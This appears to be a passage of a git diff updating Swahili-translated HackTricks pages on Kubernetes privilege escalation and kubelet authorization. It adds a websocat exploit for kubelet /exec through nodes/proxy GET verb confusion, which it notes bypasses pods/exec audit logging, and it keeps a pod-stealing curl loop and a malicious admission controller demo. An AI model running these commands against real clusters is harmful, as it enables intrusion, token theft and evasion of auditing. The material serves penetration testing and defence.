**GCP auth token will be sent**. Then, GCP, through the K8s api endpoint, will first **check if the principal** (by email) **has any access inside the cluster**, then it will check if it has **any access via GCP IAM**.\ +> If **any** of those are **true**, he will be **responded**. If **not** an **error** suggesting to give **permissions via GCP IAM** will be given. -Kisha, njia ya kwanza ni kutumia **GCP IAM**, ruhusa za K8s zina **ruhusa sawa za GCP IAM**, na ikiwa mhusika ana hiyo, ataweza kuitumia. +Kwa hivyo, njia ya kwanza ni kutumia **GCP IAM**, ruhusa za K8s zina **equivalent GCP IAM permissions**, na ikiwa mhusika ana hizo, ataweza kuzitumia. {{#ref}} ../../gcp-security/gcp-privilege-escalation/gcp-container-privesc.md {{#endref}} -Njia ya pili ni **kutoa ruhusa za K8s ndani ya klasta** kwa kutambua mtumiaji kwa **barua pepe** yake (akaunti za huduma za GCP zimejumuishwa). +Njia ya pili ni **assigning K8s permissions inside the cluster** kwa kumtambua mtumiaji kwa **email** yake (GCP service accounts included). -### Unda token za serviceaccounts +### Kuunda token za serviceaccounts -Wahusika wanaoweza **kuunda TokenRequests** (`serviceaccounts/token`) Wakati wa kuzungumza na kiunganishi cha K8s api SAs (habari kutoka [**hapa**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)). +Wahusika wanaoweza **create TokenRequests** (`serviceaccounts/token`) wanapozungumza na K8s api endpoint wanaweza kupata tokens za SAs (info kutoka [**hapa**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)). ### ephemeralcontainers -Wahusika wanaoweza **`update`** au **`patch`** **`pods/ephemeralcontainers`** wanaweza kupata **utendaji wa msimbo kwenye pods nyingine**, na kwa uwezekano **kuvunja** kwenye node yao kwa kuongeza kontena ya muda mfupi yenye securityContext yenye mamlaka. +Wahusika wanaoweza **`update`** au **`patch`** **`pods/ephemeralcontainers`** wanaweza kupata **code execution on other pods**, na pengine **break out** hadi node yao kwa kuongeza ephemeral container yenye privileged securityContext. ### ValidatingWebhookConfigurations au MutatingWebhookConfigurations -Wahusika wenye mojawapo ya vitenzi `create`, `update` au `patch` juu ya `validatingwebhookconfigurations` au `mutatingwebhookconfigurations` wanaweza kuwa na uwezo wa **kuunda mojawapo ya webhookconfigurations hizo** ili waweze **kuongeza mamlaka**. +Wahusika wenye mojawapo ya vitenzi `create`, `update` au `patch` juu ya `validatingwebhookconfigurations` au `mutatingwebhookconfigurations` wanaweza kuwa na uwezo wa **kuunda moja ya webhookconfigurations hizo** ili kuwa na uwezo wa **kupandisha ruhusa**. -Kwa [`mfano wa mutatingwebhookconfigurations angalia sehemu hii ya chapisho hili](#malicious-admission-controller). +Kwa mfano wa [`mutatingwebhookconfigurations` example check this section of this post](#malicious-admission-controller). -### Pandisha +### Kupandisha -Kama unavyoweza kusoma katika sehemu inayofuata: [**Kuzuia Kuongeza Mamlaka Kwenye Mfumo**](#built-in-privileged-escalation-prevention), mhusika cannot kuhariri wala kuunda roles au clusterroles bila kuwa na ruhusa hizo mpya. Isipokuwa ikiwa ana **kitenzi `escalate` au `*`** juu ya **`roles`** au **`clusterroles`** na chaguo husika za binding.\ -Kisha anaweza kuhariri/kuunda roles mpya, clusterroles zenye ruhusa bora kuliko zile alizonazo. +Kama unavyoweza kusoma katika sehemu inayofuata: [**Built-in Privileged Escalation Prevention**](#built-in-privileged-escalation-prevention), mhusika hawezi update wala create roles au clusterroles bila kuwa na hizo ruhusa mpya mwenyewe. Isipokuwa kama ana **verb `escalate` or `*`** juu ya **`roles`** au **`clusterroles`** na chaguzi zinazofaa za binding.\ +Kisha anaweza update/create roles mpya, clusterroles zenye ruhusa bora kuliko anazomiliki. ### Nodes proxy -Wahusika wenye ufikiaji kwa **`nodes/proxy`** subresource wanaweza **kutekeleza msimbo kwenye pods** kupitia Kubelet API (kulingana na [**hii**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Taarifa zaidi kuhusu uthibitishaji wa Kubelet katika ukurasa huu: +Wahusika walio na ufikiaji wa subresource **`nodes/proxy`** wanaweza **execute code on pods** kupitia Kubelet API (kulingana na [**hili**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Maelezo zaidi kuhusu Kubelet authentication kwenye ukurasa huu: {{#ref}} ../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md {{#endref}} -Una mfano wa jinsi ya kupata [**RCE ukizungumza na Kubelet API hapa**](../pentesting-kubernetes-services/index.html#kubelet-rce). +#### nodes/proxy GET -> Kubelet /exec via WebSocket mkanganyiko wa vitenzi -### Futa pods + nodes zisizoweza kupanga +- Kubelet maps HTTP methods to RBAC verbs **before** protocol upgrade. WebSocket handshakes must start with **HTTP GET** (`Connection: Upgrade`), so `/exec` over WebSocket is checked as **verb `get`** instead of the expected `create`. +- `/exec`, `/run`, `/attach`, and `/portforward` hazijaramishwa wazi na zinaanguka kwenye default **`proxy`** subresource, hivyo swali la authorization linakuwa **`can get nodes/proxy?`** +- Ikiwa token ina tu **`nodes/proxy` + `get`**, direct WebSocket access to the kubelet on `https://:10250` inaruhusu arbitrary command execution katika pod yoyote kwenye node hiyo. Ombi sawa kupitia API server proxy path (`/api/v1/nodes//proxy/exec/...`) linakataa kwa sababu ni normal HTTP POST na linaanisha kwa `create`. +- Kubelet hainafanya authorization ya pili baada ya WebSocket upgrade; GET ya awali pekee ndiyo inayotathminiwa. -Wahusika wanaoweza **kufuta pods** (`delete` verb juu ya `pods` resource), au **kuhamasisha pods** (`create` verb juu ya `pods/eviction` resource), au **kubadilisha hali ya pod** (ufikiaji kwa `pods/status`) na wanaweza **kufanya nodes nyingine zisizoweza kupanga** (ufikiaji kwa `nodes/status`) au **kufuta nodes** (`delete` verb juu ya `nodes` resource) na ana udhibiti juu ya pod, wanaweza **kuiba pods kutoka kwa nodes nyingine** ili ziwe **zinatekelezwa** katika **node** iliyovunjika na mshambuliaji anaweza **kuiba tokens** kutoka kwa pods hizo. +**Direct exploit (requires network reachability to the kubelet and a token with `nodes/proxy` GET):** +```bash +kubectl auth can-i --list | grep "nodes/proxy" +websocat --insecure \ +--header "Authorization: Bearer $TOKEN" \ +--protocol "v4.channel.k8s.io" \ +"wss://$NODE_IP:10250/exec/$NAMESPACE/$POD/$CONTAINER?output=1&error=1&command=id" +``` +- Tumia **Node IP**, si jina la node. Ombi sawa kwa kutumia `curl -X POST` litakuwa **Forbidden** kwa sababu linafanana na `create`. +- Mwingiliano wa moja kwa moja na kubelet unazidi API server, hivyo AuditPolicy inaonyesha tu `subjectaccessreviews` kutoka kwa kubelet user agent na **haiandiki kumbukumbu za `pods/exec`**. +- Orodhesha service accounts zilizoathirika kwa kutumia [detection script](https://gist.github.com/grahamhelton/f5c8ce265161990b0847ac05a74e466a) ili kutafuta tokens zilizopunguzwa kwa `nodes/proxy` GET. + +### Futa pods + nodes zisizoweza kupangwa + +Watu wenye uwezo ambao wanaweza **delete pods** (`delete` verb over `pods` resource), au **evict pods** (`create` verb over `pods/eviction` resource), au **change pod status** (access to `pods/status`) na wanaweza **make other nodes unschedulable** (access to `nodes/status`) au **delete nodes** (`delete` verb over `nodes` resource) na ambao wana udhibiti juu ya pod, wanaweza **steal pods from other nodes** ili ziendeshwe kwenye **compromised** **node** na mshambuliaji anaweza **steal the tokens** kutoka kwa hizo pods. ```bash patch_node_capacity(){ curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]' @@ -640,43 +660,43 @@ while true; do patch_node_capacity ; done & kubectl delete pods -n kube-system ``` -### Hali za huduma (CVE-2020-8554) +### Hali ya Services (CVE-2020-8554) -Wajibu wanaoweza **kubadilisha** **`services/status`** wanaweza kuweka uwanja wa `status.loadBalancer.ingress.ip` ili kutumia **CVE-2020-8554** isiyo na suluhisho na kuanzisha **MiTM attacks dhidi ya klasta**. Mipango mingi ya kupunguza hatari kwa CVE-2020-8554 inazuia huduma za ExternalIP pekee (kulingana na [**hii**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)). +Watu wenye mamlaka ambao wanaweza **kubadilisha** **`services/status`** wanaweza kuweka uwanja wa `status.loadBalancer.ingress.ip` ili kuchochea **CVE-2020-8554** ambayo haijarekebishwa na kuanzisha **MiTM attacks against the clus**ter. Mitigation nyingi za CVE-2020-8554 zinazuia tu ExternalIP services (kulingana na [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)). ### Hali za Nodes na Pods -Wajibu wenye ruhusa za **`update`** au **`patch`** juu ya `nodes/status` au `pods/status`, wanaweza kubadilisha lebo ili kuathiri vikwazo vya kupanga vinavyotekelezwa. +Watu wenye ruhusa za **`update`** au **`patch`** kwa `nodes/status` au `pods/status` wanaweza kubadilisha lebo ili kuathiri vikwazo vya upangaji vinavyotekelezwa. -## Kinga ya Kukuza Privilege iliyojengwa ndani +## Built-in Privileged Escalation Prevention -Kubernetes ina [mekanismu iliyojengwa ndani](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) ili kuzuia kukuza privilege. +Kubernetes ina [built-in mechanism](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) kuzuia kuongezeka kwa vibali. -Mfumo huu unahakikisha kwamba **watumiaji hawawezi kuongeza privileges zao kwa kubadilisha majukumu au uhusiano wa majukumu**. Utekelezaji wa sheria hii unafanyika katika ngazi ya API, ukitoa kinga hata wakati mthibitishaji wa RBAC haupo. +Mfumo huu unahakikisha kuwa **watumiaji hawawezi kuinua vibali vyao kwa kubadilisha roles au role bindings**. Utekelezaji wa sheria hii hufanyika kwenye ngazi ya API, ukitoa kinga hata pale RBAC authorizer akiwa hafanyakazi. -Sheria inasema kwamba **mtumiaji anaweza tu kuunda au kubadilisha jukumu ikiwa ana ruhusa zote zinazohitajika na jukumu hilo**. Aidha, upeo wa ruhusa za mtumiaji zilizopo lazima ulingane na ule wa jukumu wanajaribu kuunda au kubadilisha: ama kwa kiwango cha klasta kwa ClusterRoles au kufungwa kwenye namespace sawa (au kwa kiwango cha klasta) kwa Roles. +Sheria inasema kuwa **mtumiaji anaweza tu kuunda au kusasisha role ikiwa ana ruhusa zote ambazo role hiyo inajumuisha**. Zaidi ya hayo, wigo wa ruhusa zilizo kwa mtumiaji lazima ulingane na ule wa role wanayejaribu kuunda au kubadilisha: iwe kwa ngazi ya cluster kwa ClusterRoles au imefungwa ndani ya namespace hiyo hiyo (au ngazi ya cluster) kwa Roles. > [!WARNING] -> Kuna ubaguzi wa sheria ya awali. Ikiwa wajibu ana **kitenzi `escalate`** juu ya **`roles`** au **`clusterroles`** anaweza kuongeza privileges za majukumu na clusterroles hata bila kuwa na ruhusa hizo mwenyewe. +> Kuna ubaguzi kwa sheria ile iliyotangulia. Ikiwa mteja ana **kitenzi `escalate`** juu ya **`roles`** au **`clusterroles`**, anaweza kuongeza vibali vya roles na clusterroles hata bila kuwa na ruhusa hizo mwenyewe. -### **Pata & Patch RoleBindings/ClusterRoleBindings** +### **Get & Patch RoleBindings/ClusterRoleBindings** > [!CAUTION] -> **Kwa kweli, mbinu hii ilifanya kazi hapo awali, lakini kulingana na majaribio yangu haifanyi kazi tena kwa sababu ile ile iliyoelezwa katika sehemu ya awali. Huwezi kuunda/kubadilisha rolebinding ili kujipa wewe mwenyewe au SA tofauti baadhi ya privileges ikiwa tayari huna.** +> **Inaonekana mbinu hii ilifanya kazi hapo awali, lakini kwa mtihani wangu haifanyi kazi tena kwa sababu ile ile iliyoelezewa katika sehemu ya awali. Huwezi kuunda/kubadilisha rolebinding ili kujipa wewe mwenyewe au SA tofauti baadhi ya vibali ikiwa huna tayari.** -Ruhusa ya kuunda Rolebindings inamruhusu mtumiaji **kuunganisha majukumu na akaunti ya huduma**. Ruhusa hii inaweza kupelekea kukuza privilege kwa sababu inaruhusu mtumiaji kuunganisha ruhusa za admin kwa akaunti ya huduma iliyovunjika. +Ruhusa ya kuunda Rolebindings inaruhusu mtumiaji **kuunganisha roles na service account**. Ruhusa hii inaweza kusababisha kuongezeka kwa vibali kwa sababu inamruhusu mtumiaji **kuunganisha vibali za admin kwa service account iliyovamiwa.** ## Mashambulizi Mengine -### Programu ya proxy ya Sidecar +### Sidecar proxy app -Kwa kawaida hakuna usimbuaji katika mawasiliano kati ya pods. Uthibitishaji wa pamoja, wa pande mbili, kutoka pod hadi pod. +Kwa default hakuna encryption katika mawasiliano kati ya pods. Hakuna uthibitisho wa pande zote (mutual authentication), njia ya pande mbili, pod kwa pod. -#### Unda programu ya proxy ya sidecar +#### Create a sidecar proxy app -Kontena ya sidecar inajumuisha kuongeza **kontena ya pili (au zaidi) ndani ya pod**. +Container ya sidecar inajumuisha tu kuongeza **container ya pili (au zaidi) ndani ya pod**. -Kwa mfano, ifuatayo ni sehemu ya usanidi wa pod yenye kontena 2: +Kwa mfano, yafuatayo ni sehemu ya muundo wa pod yenye containers 2: ```yaml spec: containers: @@ -686,47 +706,47 @@ image: nginx image: busybox command: ["sh","-c",""] ``` -Kwa mfano, ili kuingiza backdoor kwenye pod iliyopo na kontena mpya unaweza kuongeza kontena mpya katika maelezo. Kumbuka kwamba unaweza **kutoa ruhusa zaidi** kwa kontena ya pili ambayo ya kwanza haitaweza kuwa nayo. +Kwa mfano, ili ku-backdoor pod iliyopo kwa container mpya unaweza tu kuongeza container mpya katika specification. Kumbuka kwamba unaweza **give more permissions** kwa container ya pili ambayo ya kwanza haitakuwa nayo. -Taarifa zaidi kwenye: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) +Maelezo zaidi: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) -### Mdhibiti wa Kuingiza Mbaya +### Admission Controller ya ulaghai -Mdhibiti wa kuingiza **unakamata maombi kwa seva ya API ya Kubernetes** kabla ya kudumu kwa kitu, lakini **baada ya ombi kuthibitishwa** **na kuidhinishwa**. +Admission controller **intercepts requests to the Kubernetes API server** kabla ya kuhifadhiwa kwa object, lakini **after the request is authenticated** **and authorized**. -Ikiwa mshambuliaji kwa namna fulani anafanikiwa **kuingiza Mdhibiti wa Kuingiza Mabadiliko**, ataweza **kubadilisha maombi ambayo tayari yameidhinishwa**. Kuwa na uwezo wa kuweza kujiinua, na kwa kawaida kudumu katika klasta. +Ikiwa mshambuliaji kwa njia fulani atafanikiwa **inject a Mutation Admission Controller**, atakuwa na uwezo wa **modify already authenticated requests**. Hii inaweza kumruhusu privesc, na kwa kawaida kudumu ndani ya cluster. -**Mfano kutoka** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers): +**Example from** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers): ```bash git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo cd malicious-admission-controller-webhook-demo ./deploy.sh kubectl get po -n webhook-demo -w ``` -Angalia hali ili kuona kama iko tayari: +Angalia hali ili uone kama iko tayari: ```bash kubectl get mutatingwebhookconfigurations kubectl get deploy,svc -n webhook-demo ``` ![mutating-webhook-status-check.PNG](https://cdn.hashnode.com/res/hashnode/image/upload/v1628433436353/yHUvUWugR.png?auto=compress,format&format=webp) -Kisha weka pod mpya: +Kisha deploy pod mpya: ```bash kubectl run nginx --image nginx kubectl get po -w ``` -Wakati unaweza kuona kosa la `ErrImagePull`, angalia jina la picha kwa kutumia mojawapo ya maswali yafuatayo: +Unapoona kosa la `ErrImagePull`, angalia jina la image kwa kutumia mojawapo ya maswali yafuatayo: ```bash kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}' kubectl describe po nginx | grep "Image: " ``` ![malicious-admission-controller.PNG](https://cdn.hashnode.com/res/hashnode/image/upload/v1628433512073/leFXtgSzm.png?auto=compress,format&format=webp) -Kama unavyoona katika picha hapo juu, tulijaribu kuendesha picha `nginx` lakini picha iliyotekelezwa mwishowe ni `rewanthtammana/malicious-image`. Nini kimetokea!!? +Kama unavyoona kwenye picha hapo juu, tulijaribu kuendesha image `nginx` lakini image iliyotekelezwa hatimaye ilikuwa `rewanthtammana/malicious-image`. Nini kilitokea!!? -#### Technicalities +#### Maelezo ya kiufundi -Script ya `./deploy.sh` inaanzisha mutating webhook admission controller, ambayo inabadilisha maombi kwa API ya Kubernetes kama ilivyoainishwa katika mistari yake ya usanidi, ikihusisha matokeo yanayoonekana: +Skripti `./deploy.sh` inaweka mutating webhook admission controller, ambayo hubadilisha maombi kwenda kwa Kubernetes API kama ilivyobainishwa katika mistari yake ya usanidi, ikiachilia matokeo yaliyoshuhudiwa: ``` patches = append(patches, patchOperation{ Op: "replace", @@ -734,7 +754,7 @@ Path: "/spec/containers/0/image", Value: "rewanthtammana/malicious-image", }) ``` -The above snippet replaces the first container image in every pod with `rewanthtammana/malicious-image`. +Mfano uliotangulia unabadilisha container image ya kwanza katika kila pod kuwa `rewanthtammana/malicious-image`. ## OPA Gatekeeper bypass @@ -742,20 +762,20 @@ The above snippet replaces the first container image in every pod with `rewantht ../kubernetes-opa-gatekeeper/kubernetes-opa-gatekeeper-bypass.md {{#endref}} -## Best Practices +## Mbinu Bora -### **Kuzima Automount ya Tokens za Akaunti ya Huduma** +### **Kuzima automount ya tokeni za Service Account** -- **Pods na Akaunti za Huduma**: Kwa kawaida, pods huweka token ya akaunti ya huduma. Ili kuboresha usalama, Kubernetes inaruhusu kuzima kipengele hiki cha automount. -- **Jinsi ya Kutumia**: Weka `automountServiceAccountToken: false` katika usanidi wa akaunti za huduma au pods kuanzia toleo la Kubernetes 1.6. +- **Pods and Service Accounts**: Kwa chaguo-msingi, pods hu-mount tokeni ya Service Account. Ili kuimarisha usalama, Kubernetes inaruhusu kuzima kipengele hiki cha automount. +- **How to Apply**: Weka `automountServiceAccountToken: false` katika usanidi wa Service Accounts au pods kuanzia toleo la Kubernetes 1.6. -### **Kuteua Watumiaji kwa Uangalifu katika RoleBindings/ClusterRoleBindings** +### **Upeanaji wa watumiaji wenye vikwazo katika RoleBindings/ClusterRoleBindings** -- **Injini ya Uchaguzi**: Hakikisha kuwa watumiaji wanaohitajika tu wanajumuishwa katika RoleBindings au ClusterRoleBindings. Kagua mara kwa mara na uondoe watumiaji wasiohusika ili kudumisha usalama mkali. +- **Selective Inclusion**: Hakikisha kuwa watumiaji waliomo katika RoleBindings au ClusterRoleBindings ni wale tu wanaohitajika. Fanya ukaguzi mara kwa mara na ondoa watumiaji wasiofaa ili kudumisha usalama imara. -### **Majukumu Maalum ya Namespace Juu ya Majukumu ya Kiwango cha Klasta** +### **Tumia Roles za Namespace badala ya Cluster-wide Roles** -- **Majukumu vs. ClusterRoles**: Prefer kutumia Majukumu na RoleBindings kwa ruhusa maalum za namespace badala ya ClusterRoles na ClusterRoleBindings, ambazo zinatumika kwa kiwango cha klasta. Njia hii inatoa udhibiti wa kina na inapunguza wigo wa ruhusa. +- **Roles vs. ClusterRoles**: Tumia Roles na RoleBindings kwa ruhusa maalum za namespace badala ya ClusterRoles na ClusterRoleBindings, ambazo zinafanya kazi kwa cluster nzima. Njia hii inatoa udhibiti wa kina na inapunguza wigo wa ruhusa. ### **Tumia zana za kiotomatiki** @@ -771,12 +791,15 @@ https://github.com/aquasecurity/kube-hunter https://github.com/aquasecurity/kube-bench {{#endref}} -## **Marejeleo** +## **Marejeo** - [**https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions**](https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions) - [**https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1**](https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1) - [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers) - [**https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html**](https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html) - [**https://kubenomicon.com/**](https://kubenomicon.com/) +- [nodes/proxy GET -> kubelet exec WebSocket bypass](https://grahamhelton.com/blog/nodes-proxy-rce) +- [nodes/proxy GET detection script](https://gist.github.com/grahamhelton/f5c8ce265161990b0847ac05a74e466a) +- [websocat](https://github.com/vi/websocat) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/kubelet-authentication-and-authorization.md b/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/kubelet-authentication-and-authorization.md index ce01ba9ac..15c596f52 100644 --- a/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/kubelet-authentication-and-authorization.md +++ b/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/kubelet-authentication-and-authorization.md @@ -4,22 +4,22 @@ ## Kubelet Authentication -[**Kutoka kwenye docss:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/) +[**From the docss:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/) -Kwa default, maombi kwa mwisho wa HTTPS wa kubelet ambayo hayakukataliwa na mbinu nyingine za uthibitishaji zilizowekwa yanachukuliwa kama maombi ya kutotambulika, na yanapewa **jina la mtumiaji `system:anonymous`** na **kikundi cha `system:unauthenticated`**. +Kwa chaguo-msingi, maombi kwa endpoint ya kubelet ya HTTPS ambayo hayakatwi na mbinu nyingine zilizoamuliwa za authentication hutendewa kama maombi anonymous, na yanapewa **username ya `system:anonymous`** na **group ya `system:unauthenticated`**. -Mbinu **3** za uthibitishaji ni: +Njia **3** za authentication ni: -- **Kutotambulika** (default): Tumia kuweka param **`--anonymous-auth=true` au usanidi:** +- **Anonymous** (default): Weka param **`--anonymous-auth=true`** au tumia config: ```json "authentication": { "anonymous": { "enabled": true }, ``` -- **Webhook**: Hii itawawezesha **API bearer tokens** za kubectl kama idhini (token yoyote halali itakuwa halali). Ruhusu kwa: -- hakikisha kundi la API `authentication.k8s.io/v1beta1` limewezeshwa katika seva ya API -- anzisha kubelet na bendera za **`--authentication-token-webhook`** na **`--kubeconfig`** au tumia mipangilio ifuatayo: +- **Webhook**: Hii ita **wezesha** kubectl **API bearer tokens** kama njia ya uthibitisho (token yoyote halali itatumika). Ili kuruhusu: +- hakikisha `authentication.k8s.io/v1beta1` API group imewezeshwa kwenye API server +- anzisha kubelet kwa **`--authentication-token-webhook`** na **`--kubeconfig`** flags au tumia mpangilio ufuatao: ```json "authentication": { "webhook": { @@ -28,11 +28,11 @@ Mbinu **3** za uthibitishaji ni: }, ``` > [!NOTE] -> Kubelet inaita **`TokenReview` API** kwenye seva ya API iliyowekwa ili **kubaini taarifa za mtumiaji** kutoka kwa alama za kubeba - -- **X509 client certificates:** Ruhusu kuthibitisha kupitia X509 client certs +> Kubelet huita **`TokenReview` API** kwenye API server iliyosanidiwa ili **kubaini taarifa za mtumiaji** kutoka kwa bearer tokens +> +- **X509 client certificates:** Zinaruhusu uthibitishaji kupitia X509 client certificates - angalia [apiserver authentication documentation](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs) kwa maelezo zaidi -- anza kubelet na bendera `--client-ca-file`, ukitoa pakiti ya CA ili kuthibitisha vyeti vya wateja. Au kwa usanidi: +- anza kubelet kwa kutumia flag ya `--client-ca-file`, ukiweka CA bundle ili kuthibitisha client certificates. Au kwa config: ```json "authentication": { "x509": { @@ -40,16 +40,16 @@ Mbinu **3** za uthibitishaji ni: } } ``` -## Kubelet Authorization +## Uidhinishaji wa Kubelet -Maombi yoyote ambayo yamefanikiwa kuthibitishwa (ikiwemo maombi ya kutotambulika) **yanaruhusiwa**. Njia ya **kuthibitisha** ya **`AlwaysAllow`** **inaruhusu maombi yote**. +Kila ombi ambalo limethibitishwa kwa mafanikio (ikijumuisha ombi la mtumiaji isiyotambulika) **halafu linaidhinishwa**. Hali ya **chaguo-msingi** ya uidhinishaji ni **`AlwaysAllow`**, ambayo **inaruhusu maombi yote**. -Hata hivyo, thamani nyingine inayowezekana ni **`webhook`** (ambayo ndio utakuwa **ukiona zaidi huko nje**). Njia hii itafanya **ukaguzi wa ruhusa za mtumiaji aliyeidhinishwa** ili kuruhusu au kukataa kitendo. +Hata hivyo, thamani nyingine inayowezekana ni **`webhook`** (ambayo ndiyo utakayopata kwa kawaida). Hali hii itakagua ruhusa za mtumiaji aliyethibitishwa ili kuruhusu au kukataa kitendo. > [!WARNING] -> Kumbuka kwamba hata kama **uthibitisho wa kutotambulika umewezeshwa**, **upatikanaji wa kutotambulika** huenda **usiwe na ruhusa** za kufanya kitendo chochote. +> Kumbuka kwamba hata kama **uthibitishaji wa watumiaji wasiotambulika umewezeshwa**, **ufikiaji wa watumiaji wasiotambulika** unaweza **kubaki bila ruhusa zozote** za kufanya kitendo chochote. -Kuthibitisha kupitia webhook kunaweza kuwekewa mipangilio kwa kutumia **param `--authorization-mode=Webhook`** au kupitia faili ya usanidi na: +Uidhinishaji kupitia webhook unaweza kusanidiwa kwa kutumia **param `--authorization-mode=Webhook`** au kupitia faili ya usanidi kwa: ```json "authorization": { "mode": "Webhook", @@ -59,41 +59,45 @@ Kuthibitisha kupitia webhook kunaweza kuwekewa mipangilio kwa kutumia **param `- } }, ``` -Kubelet inaita **`SubjectAccessReview`** API kwenye seva ya API iliyowekwa ili **kuamua** ikiwa kila ombi lime **idhinishwa.** +The kubelet inaita API ya **`SubjectAccessReview`** kwenye API server iliyosanidiwa ili **kuamua** kama kila ombi limeidhinishwa. -Kubelet inaruhusu maombi ya API kwa kutumia njia ile ile ya [attributes za ombi](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) kama apiserver: +Kubelet inaidhinisha maombi ya API kwa kutumia mbinu ile ile ya [request attributes](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) kama apiserver: - **Kitendo** -| Kitenzi cha HTTP | kitenzi cha ombi | -| ---------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| POST | kuunda | -| GET, HEAD | pata (kwa rasilimali binafsi), orodha (kwa makundi, ikiwa ni pamoja na maudhui kamili ya kitu), angalia (kwa kuangalia rasilimali binafsi au kundi la rasilimali) | -| PUT | sasisha | -| PATCH | patch | -| DELETE | futa (kwa rasilimali binafsi), futakoleksiyoni (kwa makundi) | +| HTTP verb | request verb | +| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| POST | create | +| GET, HEAD | get (for individual resources), list (for collections, including full object content), watch (for watching an individual resource or collection of resources) | +| PUT | update | +| PATCH | patch | +| DELETE | delete (for individual resources), deletecollection (for collections) | -- **Rasilimali** inayozungumza na Kubelet api ni **daima** **nodes** na **subresource** inapatikana kutoka kwa njia ya ombi linalokuja: +- The **resource** inayozungumza na Kubelet api ni **daima** **nodes** na **subresource** huamuliwa kutoka kwenye path ya ombi linalokuja: -| Kubelet API | rasilimali | subresource | -| ------------ | --------- | ----------- | -| /stats/\* | nodes | stats | -| /metrics/\* | nodes | metrics | -| /logs/\* | nodes | log | -| /spec/\* | nodes | spec | -| _rasilimali zingine zote_ | nodes | proxy | +| Kubelet API | resource | subresource | +| ------------ | -------- | ----------- | +| /stats/\* | nodes | stats | +| /metrics/\* | nodes | metrics | +| /logs/\* | nodes | log | +| /spec/\* | nodes | spec | +| _all others_ | nodes | proxy | -Kwa mfano, ombi lifuatalo lilijaribu kufikia taarifa za pods za kubelet bila ruhusa: +> [!NOTE] +> WebSocket-based `/exec`, `/run`, `/attach`, and `/portforward` fall into the default **proxy** subresource and are authorized using the initial HTTP **GET** handshake. Msimamizi (principal) mwenye tu `nodes/proxy` **GET** bado anaweza kufanya exec kwenye containers ikiwa anatoka moja kwa moja kwa kuunganishwa na `https://:10250` kwa kupitia WebSockets. Tazama the [nodes/proxy GET -> Kubelet /exec verb confusion abuse](../abusing-roles-clusterroles-in-kubernetes/README.md#nodesproxy-get---kubelet-exec-via-websocket-verb-confusion) kwa maelezo. + +Kwa mfano, ombi lifuatalo lilijaribu kupata taarifa za pods za kubelet bila ruhusa: ```bash curl -k --header "Authorization: Bearer ${TOKEN}" 'https://172.31.28.172:10250/pods' Forbidden (user=system:node:ip-172-31-28-172.ec2.internal, verb=get, resource=nodes, subresource=proxy) ``` -- Tulipata **Forbidden**, hivyo ombi **lilipita ukaguzi wa Uthibitishaji**. La sivyo, tungekuwa na ujumbe wa `Unauthorised` tu. -- Tunaweza kuona **jina la mtumiaji** (katika kesi hii kutoka kwa token) -- Angalia jinsi **rasilimali** ilikuwa **nodes** na **subresource** **proxy** (ambayo ina maana na taarifa za awali) +- Tulipokea **Forbidden**, hivyo ombi lilipita **Authentication check**. Kama sivyo, tungepata ujumbe tu wa `Unauthorised`. +- Tunaweza kuona **username** (kwa kesi hii kutoka kwa token) +- Angalia jinsi **resource** ilikuwa **nodes** na **subresource** **proxy** (ambayo inaeleweka kutokana na taarifa zilizotangulia) -## References +## Marejeo - [https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/) +- [nodes/proxy GET -> kubelet exec via WebSocket bypass](https://grahamhelton.com/blog/nodes-proxy-rce) {{#include ../../../banners/hacktricks-training.md}}